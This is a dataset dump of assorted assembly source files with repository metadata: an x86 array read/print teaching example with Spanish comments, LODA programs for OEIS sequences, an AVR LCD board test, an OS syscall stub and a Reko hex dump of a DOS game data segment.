2729a733fb960ebe53308b184ba861630813435c | 2,755 | asm | Assembly | codigo/capitulo 36/arreglo_escritura.asm | codeneomatrix/ENSAMBLADOR-x86-ACEVEDO | 7d5a58179f460ba2a03b0bcf12fc4584b87f93c9 | [
"MIT"
] | 1 | 2021-06-13T08:59:55.000Z | 2021-06-13T08:59:55.000Z | codigo/capitulo 36/arreglo_escritura.asm | codeneomatrix/ENSAMBLADOR-x86-ACEVEDO | 7d5a58179f460ba2a03b0bcf12fc4584b87f93c9 | [
"MIT"
] | null | null | null | codigo/capitulo 36/arreglo_escritura.asm | codeneomatrix/ENSAMBLADOR-x86-ACEVEDO | 7d5a58179f460ba2a03b0bcf12fc4584b87f93c9 | [
"MIT"
] | null | null | null | segment .data
arre db 0, 0, 0, 0 ; se almacenan los valores dentro
; del rango del 0 a 9 para
; evitar imprimir símbolos
len equ $-arre
msg1 db "ingrese un numero y presione enter, cuatro veces:", 0xA
len1 equ $-msg1
ln db 10,13
lenln equ $-ln
segment .bss
dato resb 2 ; reservamos dos bytes debido a que al leer un dato
; del teclado se almacenara tambien el enter (\n) o
; salto de linea
segment .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg1
mov edx, len1
int 0x80
mov esi, arre ; colocamos la direccion de memoria en el registro
; esi esto para mejorar la velocidad del programa
mov edi, 0 ; colocamos el numero cero en el registro edi
; que nos servira de contador
ciclo_lectura:
mov eax, 3 ; leemos datos de un dispositivo
mov ebx, 0 ; especifiamos que el dispositivo es el teclado
mov ecx, dato ; direccion de memoria donde almacenaran los
; caracteres leidos
mov edx, 2 ; leemos dos bytes del teclado, el dato y el salto de
; linea (\n)
int 0x80
mov al, [dato] ; accedemos al dato introducido desde el teclado y
; lo guardamos en el registro al
sub al, '0' ; ya que el caracter lo deseamos pasar a su valor
; numerico le restamos 30h, 48 o el caracter '0'
mov [esi+edi], al ;colocamos el dato dentro del arreglo en la
;posision edi (0,1,2,....) en bytes
add edi,1 ; incrementamos edi en uno
cmp edi,len ; preguntamos si ya hemos leido todos los
; numeros del arreglo
jb ciclo_lectura ; si aun faltan datos por imprimir damos vuelta
; al ciclo de nuevo y en caso contrario dejamos
; de imprimir en pantalla
mov edi, 0 ; colocamos el numero cero en el registro edi
; que nos servira de contador
ciclo_impresion:
mov al, [esi+edi] ;obtenemos el dato dentro del arreglo en la
;posision edi (0,1,2,....)
add al, '0' ; convertimos el numero entero a caracter
mov [dato], al ; movemos el dato obtenido a la posision de
; memoria dato
add edi,1 ; incrementamos edi en uno
mov eax, 4
mov ebx, 0
mov ecx, dato
mov edx, 1
int 80h ; se imprimen el valor de los elementos del arreglo
; en pantalla
cmp edi,len ; preguntamos si ya hemos impreso todos los
; datos del arreglo
jb ciclo_impresion ; si aun faltan datos por imprimir damos vuelta
; al ciclo de nuevo y en caso contrario dejamos
; de imprimir en pantalla
mov eax, 4
mov ebx, 1
mov ecx, ln
mov edx, lenln
int 0x80
salir:
mov eax, 1
xor ebx, ebx
int 0x80 | 32.034884 | 68 | 0.629764 |
5c09eb122b06d199c8ec6c709b78f76454dd4f4d | 866 | asm | Assembly | oeis/287/A287898.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/287/A287898.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/287/A287898.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A287898: Number of ways to go up and down n stairs, with fewer than 4 stairs at a time, stepping on each stair at least once.
; Submitted by Christian Krause
; 1,3,9,27,79,233,687,2025,5969,17595,51865,152883,450655,1328401,3915743,11542481,34023905,100292659,295633833,871443275,2568763439,7571973753,22319994767,65792907193,193938514865,571674807403,1685132453689,4967284459107,14642121955263,43160752543521,127225450369471,375023934195617,1105462396172481,3258584314018659,9605366739142985,28313850832863867,83461066168223503,246019151794479369,725193504330276463,2137661295418822537,6301208969255380241,18574146689803437851,54751227413285557721
lpb $0
sub $0,1
add $4,$1
add $1,$3
add $1,$2
sub $1,$4
mov $5,$3
add $5,$2
mov $2,$3
mov $3,$5
sub $3,$1
add $4,3
add $2,$4
add $3,$4
add $4,$2
lpe
mov $0,$2
div $0,3
mul $0,2
add $0,1
| 34.64 | 490 | 0.767898 |
77a04c24426715354ee7a304c8bb4bf2fafa036a | 702 | asm | Assembly | oeis/052/A052561.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052561.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052561.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052561: a(n) = (1 + 2^n) * n!.
; Submitted by Jon Maiga
; 2,3,10,54,408,3960,46800,650160,10362240,186157440,3719520000,81789523200,1962469555200,51017981414400,1428416301312000,42851181364992000,1371216880889856000,46621018262827008000,1678350255088066560000,63777188048246120448000,2551085089027836641280000,107145522648226967224320000,4714401872521258780262400000,216862460283961165007093760000,10409397473181734187101061120000,520469858147876666024067072000000,27064432220398125506645852160000000,1461479329012629326940523855872000000
mov $1,2
pow $1,$0
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $1,$0
add $0,$1
| 70.2 | 482 | 0.837607 |
40a7c223289f573c230ea0af87dded2220823577 | 517 | asm | Assembly | multimedia/directx/dxg/d3d/dx6/rast/rampold/equates.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | multimedia/directx/dxg/d3d/dx6/rast/rampold/equates.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | multimedia/directx/dxg/d3d/dx6/rast/rampold/equates.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ; $Id: equates.asm,v 1.5 1995/04/04 14:57:34 servan Exp $
;
; Copyright (c) RenderMorphics Ltd. 1993, 1994
; Version 1.0beta2
;
; All rights reserved.
;
; This file contains private, unpublished information and may not be
; copied in part or in whole without express permission of
; RenderMorphics Ltd.
;
;
ifdef STACK_CALL
else
SUFFIX = 1
endif
ifdef MICROSOFT_NT
SUFFIX = 1
endif
ifdef SUFFIX
else
_RLDDIhdivtab equ RLDDIhdivtab
_RLDDIhdiv2tab equ RLDDIhdiv2tab
endif
| 15.666667 | 69 | 0.700193 |
c7063904f7c6e9c4332aa9e552ebc7ba10de276e | 1,749 | asm | Assembly | programs/oeis/168/A168118.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/168/A168118.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/168/A168118.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A168118: n*(n^9+1)/2.
; 0,1,513,29526,524290,4882815,30233091,141237628,536870916,1743392205,5000000005,12968712306,30958682118,68929245931,144627327495,288325195320,549755813896,1007996950233,1785233613321,3065533128910,5120000000010,8339940489111,13279961395723,20713255606836,31701690482700,47683715820325,70583547826701,102945566047338,148098383347726,210353616650115,295245000000015,409814143490416,562949953421328,765789492632241,1032188877029905,1379273676757830,1828079220031506,2404292186208943,3139105923994131,4070203042595820,5242880000000020,6711329655076221,8540099060838933,10805741156642146,13598680469209110,17025314458007835,21210373741388311,26299566117915048,32462531054272536,39896133148806025,48828125000000025,59521211913806526,72277552974528538,87443735182756551,105416259632460315,126647581059570340,151652744548057116,181016665728445653,215402103449702941,255558376650320730,302330880000000030,356671455831441331,419649682934170143,492465145940895456,576460752303423520,673137167231445345,784168440455397921,911418902275880758,1056961410078605346,1223097030327379935,1412376245000000035,1627621775504940636,1871953121312243748,2148812914851778861,2461995198677938725,2815675735473632850,3214444466169970726,3663340236293100363,4167887915618099751,4734138041313423640,5368709120000000040,6078832729528464441,6872401566798029353,7758020593602926766,8745061438299045930,9843720217036132855,11065078944401535531,12421170709571784468,13925048800470106156,15590859964983091845,17433922005000000045,19470805905905372746,21719422711181606958,24199115358964659171,26930755704744985135,29936846961918945360,33241631799575052336,36871206344746413073,40853640344377344561,45219103750440224550
mov $1,$0
pow $1,10
add $0,$1
div $0,2
| 218.625 | 1,684 | 0.923957 |
b497d0981d704624989656c08abf60e51c33f018 | 4,037 | asm | Assembly | I2C_Slave_Code_Dev/I2C_Logger/asm/src/lcd_cdm_board_test.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | 5 | 2017-04-17T15:11:40.000Z | 2021-12-13T23:52:09.000Z | I2C_Slave_Code_Dev/I2C_Logger/asm/src/lcd_cdm_board_test.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | null | null | null | I2C_Slave_Code_Dev/I2C_Logger/asm/src/lcd_cdm_board_test.asm | CmdrZin/chips_avr_examples | d4b57a8efd6aff2a678adef4fd405e6359e891e6 | [
"MIT"
] | null | null | null | /*
* LCD_CDM-16100 Display Demo Board
*
* org: 10/07/2014
* auth: Nels "Chip" Pearson
*
* Target: LCD_CDM-116100 Demo Board w/ LCD display and keypad I/O, 8MHz w/65ms reset delay, RSTDISBL
*
* Resources
* SRAM
*
* IO
*
*/
.equ LED_GREEN = PORTB6
.equ LED_RED = PORTB7
.equ LED_YELLOW = PORTB0
.DSEG
led_count: .BYTE 1
.CSEG
lcd_board_test:
call turn_on_green
call turn_on_red
call turn_on_yellow
;
lbt_loop00:
;
; call turn_on_green
; call turn_off_red
; call lcd_delay_40us
; call turn_on_red
; call turn_off_green
;
clr R16
sts led_count, R16
call led_cycle
;
ldi R17, 0x00
call lcd_set_ddram_adrs
call out_banner
;
ldi R17, 0x40
call lcd_set_ddram_adrs
call out_banner2
;
call lcd_return_home
;
ldi R20, 40
ibt_loop01:
ldi R17, 250
call lcd_delay_1ms
ldi R17, 250
call lcd_delay_1ms
ldi R17, LCD_SHIFT_DISPLAY_LEFT
call lcd_cursor_display_shift
;
dec R20
brne ibt_loop01
;
ldi R20, 40
ibt_loop02:
ldi R17, 250
call lcd_delay_1ms
ldi R17, 250
call lcd_delay_1ms
ldi R17, LCD_SHIFT_DISPLAY_RIGHT
call lcd_cursor_display_shift
;
dec R20
brne ibt_loop02
;
; rjmp lbt_loop00
ret
/*
* Get the display pattern
* input reg: R17 - data
*
* Use offset read lookup table element
*/
out_banner2:
ldi ZH, high(lcd_bt_text2<<1) ; Initialize Z pointer
ldi ZL, low(lcd_bt_text2<<1)
rjmp ob_loop00
;
out_banner:
ldi ZH, high(lcd_bt_text<<1) ; Initialize Z pointer
ldi ZL, low(lcd_bt_text<<1)
;
ob_loop00:
lpm R17, Z+ ; get char
tst R17
breq ob_exit ; Done
call lcd_write_data
rjmp ob_loop00
;
ob_exit:
ret
;
lcd_bt_text:
; 1st line uses 0x00-0x27
.db 'a','-','b','-','c','-','d','-','e','-','f','-','g','-','h','-'
.db 'i','-','j','-','k','-','l','-','m','-','n','-','o','-','p','-'
.db 'q','-','r','-','s','-','t','-',0,0
.db 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p'
.db 'q','r','s','t','u','v','w','x',0,0
.db '0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^'
.db 'G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V'
.db 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','-','*','#',0
.db 'H','e','l','l','o','w',' ','W','o','r','l','d','&','*','(',')'
.db 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P'
.db 'Q','R','S','T','U','V','W','X',0,0
lcd_bt_text2:
; 2nd line uses 0x40-0x67
.db 'A','.','B','.','C','.','D','.','E','.','F','.','G','.','H','.'
.db 'I','.','J','.','K','.','L','.','M','.','N','.','O','.','P','.'
.db 'Q','.','R','.','S','.','T','.',0,0
.db 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p'
init_led_io:
; Set as outputs
sbi DDRB, LED_GREEN
sbi DDRB, LED_RED
sbi DDRB, LED_YELLOW
;
ret
turn_on_green:
cbi PORTB, LED_GREEN
ret
turn_off_green:
sbi PORTB, LED_GREEN
ret
turn_on_red:
cbi PORTB, LED_RED
ret
turn_off_red:
sbi PORTB, LED_RED
ret
turn_on_yellow:
cbi PORTB, LED_YELLOW
ret
turn_off_yellow:
sbi PORTB, LED_YELLOW
ret
/* count through 3 LEDs */
led_cycle:
lds R16, led_count
; switch( count )
cpi R16, 0
brne lc_skip01
call turn_off_green
call turn_off_red
call turn_off_yellow
rjmp lc_exit
;
lc_skip01:
cpi R16, 1
brne lc_skip02
call turn_off_green
call turn_off_red
call turn_on_yellow
rjmp lc_exit
;
lc_skip02:
cpi R16, 2
brne lc_skip03
call turn_off_green
call turn_on_red
call turn_off_yellow
rjmp lc_exit
;
lc_skip03:
cpi R16, 3
brne lc_skip04
call turn_off_green
call turn_on_red
call turn_on_yellow
rjmp lc_exit
;
lc_skip04:
cpi R16, 4
brne lc_skip05
call turn_on_green
call turn_off_red
call turn_off_yellow
rjmp lc_exit
;
lc_skip05:
cpi R16, 5
brne lc_skip06
call turn_on_green
call turn_off_red
call turn_on_yellow
rjmp lc_exit
;
lc_skip06:
cpi R16, 6
brne lc_skip07
call turn_on_green
call turn_on_red
call turn_off_yellow
rjmp lc_exit
;
lc_skip07:
call turn_on_green
call turn_on_red
call turn_on_yellow
clr R16
rjmp lc_reset ; reset
;
lc_exit:
inc R16
lc_reset:
sts led_count, R16
ret
| 16.410569 | 101 | 0.613079 |
bcfcfdb624affd1401a5dac794c55dacfe7d557e | 1,269 | asm | Assembly | programs/oeis/173/A173173.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/173/A173173.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/173/A173173.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A173173: a(n) = ceiling(Fibonacci(n)/2).
; 0,1,1,1,2,3,4,7,11,17,28,45,72,117,189,305,494,799,1292,2091,3383,5473,8856,14329,23184,37513,60697,98209,158906,257115,416020,673135,1089155,1762289,2851444,4613733,7465176,12078909,19544085,31622993,51167078,82790071,133957148,216747219,350704367,567451585,918155952,1485607537,2403763488,3889371025,6293134513,10182505537,16475640050,26658145587,43133785636,69791931223,112925716859,182717648081,295643364940,478361013021,774004377960,1252365390981,2026369768941,3278735159921,5305104928862,8583840088783,13888945017644,22472785106427,36361730124071,58834515230497,95196245354568,154030760585065,249227005939632,403257766524697,652484772464329,1055742538989025,1708227311453354,2763969850442379,4472197161895732,7236167012338111,11708364174233843,18944531186571953,30652895360805796,49597426547377749,80250321908183544,129847748455561293,210098070363744837,339945818819306129,550043889183050966,889989708002357095,1440033597185408060,2330023305187765155,3770056902373173215,6100080207560938369,9870137109934111584,15970217317495049953,25840354427429161536,41810571744924211489,67650926172353373025,109461497917277584513
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
add $0,1
div $0,2
| 181.285714 | 1,124 | 0.869188 |
2aa4e26c992003e57464729cb0c47a28f0c757c3 | 382 | asm | Assembly | programs/oeis/080/A080037.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/080/A080037.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/080/A080037.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A080037: a(0)=2; for n > 0, a(n) = n + floor(sqrt(4n-3)) + 2.
; 2,4,6,8,9,11,12,14,15,16,18,19,20,22,23,24,25,27,28,29,30,32,33,34,35,36,38,39,40,41,42,44,45,46,47,48,49,51,52,53,54,55,56,58,59,60,61,62,63,64,66,67,68,69,70,71,72,74,75,76,77,78,79,80,81,83,84,85,86,87,88,89,90,92
mov $2,$0
lpb $0
mov $0,$2
add $1,1
sub $0,$1
div $0,$1
add $2,1
lpe
add $0,$2
add $0,2
| 27.285714 | 218 | 0.578534 |
63bc1e242c53a04a3031a1a5eab7fab690fc8283 | 210 | asm | Assembly | lib/putch.asm | ZhUyU1997/BookOS | d83c9ac04e1aaab1a6ee153f554c3ea2ea589210 | [
"BSD-2-Clause"
] | 1 | 2019-10-14T05:23:11.000Z | 2019-10-14T05:23:11.000Z | lib/putch.asm | ZhUyU1997/BookOS | d83c9ac04e1aaab1a6ee153f554c3ea2ea589210 | [
"BSD-2-Clause"
] | null | null | null | lib/putch.asm | ZhUyU1997/BookOS | d83c9ac04e1aaab1a6ee153f554c3ea2ea589210 | [
"BSD-2-Clause"
] | 1 | 2019-12-12T20:07:39.000Z | 2019-12-12T20:07:39.000Z | [bits 32]
[section .text]
INT_VECTOR_SYS_CALL equ 0x80
_NR_PUTCH EQU 21
global putch
putch:
push ebx
mov eax, _NR_PUTCH
mov ebx, [esp + 4 + 4] ;第一个参数
int INT_VECTOR_SYS_CALL
pop ebx
ret
| 14 | 32 | 0.67619 |
9fa284b1ca66df66322519244a315672c543449c | 163 | asm | Assembly | stone/testcases/local.asm | yutopp/sekki | 28d848ff2f0a4205032a8722e755176bafde0b04 | [
"BSL-1.0"
] | 6 | 2019-09-14T16:01:18.000Z | 2021-05-07T12:09:34.000Z | stone/testcases/local.asm | yutopp/sekki | 28d848ff2f0a4205032a8722e755176bafde0b04 | [
"BSL-1.0"
] | null | null | null | stone/testcases/local.asm | yutopp/sekki | 28d848ff2f0a4205032a8722e755176bafde0b04 | [
"BSL-1.0"
] | null | null | null | local:
jmp .e2
.e2:
local2:
jmp .e2
jmp .a
.e2:
ja local
je local
jg local
jge local
jl local
jle local
jne local
.a:
.b:
| 9.055556 | 13 | 0.509202 |
d2b6b3082e614b9c972051415193128315bda68e | 87 | asm | Assembly | tools-src/gnu/binutils/gas/testsuite/gasp/crash1.asm | enfoTek/tomato.linksys.e2000.nvram-mod | 2ce3a5217def49d6df7348522e2bfda702b56029 | [
"FSFAP"
] | 80 | 2015-01-02T10:14:04.000Z | 2021-06-07T06:29:49.000Z | tools-src/gnu/binutils/gas/testsuite/gasp/crash1.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 9 | 2015-05-14T11:03:12.000Z | 2018-01-04T07:12:58.000Z | tools-src/gnu/binutils/gas/testsuite/gasp/crash1.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 69 | 2015-01-02T10:45:56.000Z | 2021-09-06T07:52:13.000Z |
.MACRO foo a b c=a
\a \b \c \d
.ENDM
foo 1 2
foo 1 2 3 4
foo 1
foo
.END
| 6.214286 | 20 | 0.482759 |
e0baafd85a61acfac81a6e5b1e50ffc150d0f99e | 184,733 | asm | Assembly | ZORTON.reko/ZORTON_28BA.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | null | null | null | ZORTON.reko/ZORTON_28BA.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | null | null | null | ZORTON.reko/ZORTON_28BA.asm | 0xLiso/dePIXELator | d74a663e5cb41a404f2b714e262ce44b668d3632 | [
"MIT"
] | 1 | 2021-03-10T22:29:06.000Z | 2021-03-10T22:29:06.000Z | ;;; Segment 28BA (28BA:0000)
28BA:0000 00 00 00 00 42 6F 72 6C 61 6E 64 20 43 2B 2B 20 ....Borland C++
28BA:0010 2D 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 31 - Copyright 1991
28BA:0020 20 42 6F 72 6C 61 6E 64 20 49 6E 74 6C 2E 00 44 Borland Intl..D
28BA:0030 69 76 69 64 65 20 65 72 72 6F 72 0D 0A 41 62 6E ivide error..Abn
28BA:0040 6F 72 6D 61 6C 20 70 72 6F 67 72 61 6D 20 74 65 ormal program te
28BA:0050 72 6D 69 6E 61 74 69 6F 6E 0D 0A 00 00 00 00 00 rmination.......
28BA:0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:0080 00 00 00 00 00 5A AB 00 00 00 00 00 00 00 00 00 .....Z..........
28BA:0090 00 00 00 00 00 00 09 00 0A 00 0D 00 10 00 FF FF ................
28BA:00A0 FF FF 00 00 03 00 04 00 04 00 04 00 04 00 04 00 ................
28BA:00B0 04 00 04 00 04 00 04 00 05 00 06 00 06 00 06 00 ................
28BA:00C0 07 00 07 00 07 00 08 00 08 00 08 00 08 00 08 00 ................
28BA:00D0 08 00 08 00 08 00 08 00 08 00 08 00 08 00 08 00 ................
28BA:00E0 08 00 08 00 B0 00 C3 00 D0 00 E2 00 F2 A8 BA 28 ...............(
28BA:00F0 83 02 04 25 B7 04 80 0C B7 04 80 0C 00 00 00 00 ...%............
28BA:0100 00 00 00 00 74 00 0B 00 98 00 29 00 F2 A8 BA 28 ....t.....)....(
28BA:0110 83 02 04 25 B7 04 80 0C B7 04 80 0C 00 00 00 00 ...%............
28BA:0120 00 00 00 00 23 00 38 00 41 00 52 00 F2 A8 BA 28 ....#.8.A.R....(
28BA:0130 83 02 04 25 B7 04 80 0C B7 04 80 0C 00 00 00 00 ...%............
28BA:0140 00 00 00 00 18 00 62 00 39 00 7C 00 F2 A8 BA 28 ......b.9.|....(
28BA:0150 83 02 04 25 B7 04 80 0C B7 04 80 0C 00 00 00 00 ...%............
28BA:0160 00 00 00 00 33 00 3F 00 45 00 56 00 F2 A8 BA 28 ....3.?.E.V....(
28BA:0170 83 02 04 25 B7 04 80 0C B7 04 80 0C 01 00 00 00 ...%............
28BA:0180 00 00 00 00 4C 00 3E 00 5E 00 4D 00 F2 A8 BA 28 ....L.>.^.M....(
28BA:0190 83 02 04 25 B7 04 80 0C B7 04 80 0C 01 00 00 00 ...%............
28BA:01A0 00 00 00 00 70 00 41 00 82 00 5A 00 F2 A8 BA 28 ....p.A...Z....(
28BA:01B0 83 02 04 25 B7 04 80 0C B7 04 80 0C 01 00 00 00 ...%............
28BA:01C0 00 00 00 00 4A 00 5E 00 81 00 6D 00 F2 A8 BA 28 ....J.^...m....(
28BA:01D0 83 02 04 25 B7 04 80 0C B7 04 80 0C 01 00 00 00 ...%............
28BA:01E0 00 00 00 00 0C 00 6F 00 30 00 81 00 F2 A8 BA 28 ......o.0......(
28BA:01F0 83 02 04 25 B7 04 80 0C B7 04 80 0C 02 00 00 00 ...%............
28BA:0200 00 00 00 00 79 00 33 00 9B 00 45 00 F2 A8 BA 28 ....y.3...E....(
28BA:0210 83 02 04 25 B7 04 80 0C B7 04 80 0C 02 00 00 00 ...%............
28BA:0220 00 00 00 00 79 00 4B 00 99 00 5E 00 F2 A8 BA 28 ....y.K...^....(
28BA:0230 83 02 04 25 B7 04 80 0C B7 04 80 0C 02 00 00 00 ...%............
28BA:0240 00 00 00 00 BC 00 6A 00 DA 00 7A 00 F2 A8 BA 28 ......j...z....(
28BA:0250 83 02 04 25 B7 04 80 0C B7 04 80 0C 02 00 00 00 ...%............
28BA:0260 00 00 00 00 19 00 71 00 2D 00 7D 00 F2 A8 BA 28 ......q.-.}....(
28BA:0270 83 02 04 25 B7 04 80 0C B7 04 80 0C 03 00 00 00 ...%............
28BA:0280 00 00 00 00 2A 00 25 00 3F 00 2F 00 F2 A8 BA 28 ....*.%.?./....(
28BA:0290 83 02 04 25 B7 04 80 0C B7 04 80 0C 03 00 00 00 ...%............
28BA:02A0 00 00 00 00 54 00 6B 00 69 00 7E 00 F2 A8 BA 28 ....T.k.i.~....(
28BA:02B0 83 02 04 25 B7 04 80 0C B7 04 80 0C 03 00 00 00 ...%............
28BA:02C0 00 00 00 00 A0 00 60 00 BD 00 6D 00 F2 A8 BA 28 ......`...m....(
28BA:02D0 83 02 04 25 B7 04 80 0C B7 04 80 0C 03 00 00 00 ...%............
28BA:02E0 00 00 00 00 0C 00 43 00 25 00 5B 00 F2 A8 BA 28 ......C.%.[....(
28BA:02F0 83 02 04 25 B7 04 80 0C B7 04 80 0C 04 00 00 00 ...%............
28BA:0300 00 00 00 00 8B 00 3D 00 A1 00 58 00 F2 A8 BA 28 ......=...X....(
28BA:0310 83 02 04 25 B7 04 80 0C B7 04 80 0C 04 00 00 00 ...%............
28BA:0320 00 00 00 00 C9 00 41 00 D7 00 5C 00 F2 A8 BA 28 ......A...\....(
28BA:0330 83 02 04 25 B7 04 80 0C B7 04 80 0C 04 00 00 00 ...%............
28BA:0340 00 00 00 00 92 00 1E 00 D4 00 24 00 F2 A8 BA 28 ..........$....(
28BA:0350 83 02 04 25 B7 04 80 0C B7 04 80 0C 04 00 00 00 ...%............
28BA:0360 00 00 00 00 B4 00 4C 00 DA 00 64 00 F2 A8 BA 28 ......L...d....(
28BA:0370 83 02 04 25 B7 04 80 0C B7 04 80 0C 05 00 00 00 ...%............
28BA:0380 00 00 00 00 B4 00 4C 00 DA 00 64 00 F2 A8 BA 28 ......L...d....(
28BA:0390 83 02 04 25 B7 04 80 0C B7 04 80 0C 05 00 00 00 ...%............
28BA:03A0 00 00 00 00 B4 00 4C 00 DA 00 64 00 F2 A8 BA 28 ......L...d....(
28BA:03B0 83 02 04 25 B7 04 80 0C B7 04 80 0C 05 00 00 00 ...%............
28BA:03C0 00 00 00 00 B4 00 4C 00 DA 00 64 00 F2 A8 BA 28 ......L...d....(
28BA:03D0 83 02 04 25 B7 04 80 0C B7 04 80 0C 05 00 00 00 ...%............
28BA:03E0 00 00 00 00 40 00 40 00 D2 00 5C 00 F2 A8 BA 28 ....@.@...\....(
28BA:03F0 83 02 04 25 B7 04 80 0C B7 04 80 0C 05 00 00 00 ...%............
28BA:0400 00 00 00 00 55 28 BA 28 13 28 BA 28 F2 27 BA 28 ....U(.(.(.(.'.(
28BA:0410 76 28 BA 28 34 28 BA 28 97 28 BA 28 CC F3 E0 0D v(.(4(.(.(.(....
28BA:0420 26 D2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &...............
28BA:0430 00 00 00 00 00 00 00 00 00 00 00 00 00 63 68 6F .............cho
28BA:0440 6F 73 65 2E 70 73 70 00 43 68 6F 6F 73 65 00 6D ose.psp.Choose.m
28BA:0450 61 70 2E 72 61 77 00 4D 41 50 41 31 2E 50 53 50 ap.raw.MAPA1.PSP
28BA:0460 00 61 67 68 2E 72 61 77 00 00 00 00 BE 00 3F 01 .agh.raw......?.
28BA:0470 C7 00 F2 A8 BA 28 00 00 00 00 5A 01 32 12 5A 01 .....(....Z.2.Z.
28BA:0480 32 12 00 00 00 00 00 00 00 00 37 00 13 00 08 01 2.........7.....
28BA:0490 B4 00 A8 9F BA 28 00 00 00 00 FD 00 E0 0C FD 00 .....(..........
28BA:04A0 E0 0C 00 00 00 00 6A 04 BA 28 00 00 00 00 00 00 ......j..(......
28BA:04B0 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 X...............
28BA:04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:04D0 00 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .<..............
28BA:04E0 00 00 00 00 00 00 00 00 00 00 00 00 1F 1B 90 0E ................
28BA:04F0 44 DF 57 E0 00 00 00 00 00 00 00 00 00 00 00 00 D.W.............
28BA:0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0510 00 74 78 61 6E 74 78 61 6E 2E 76 69 70 00 62 61 .txantxan.vip.ba
28BA:0520 63 6B 6D 61 70 2E 70 73 70 00 6D 61 70 70 61 6C ckmap.psp.mappal
28BA:0530 2E 70 70 73 00 74 63 75 72 6F 6E 2E 70 73 70 00 .pps.tcuron.psp.
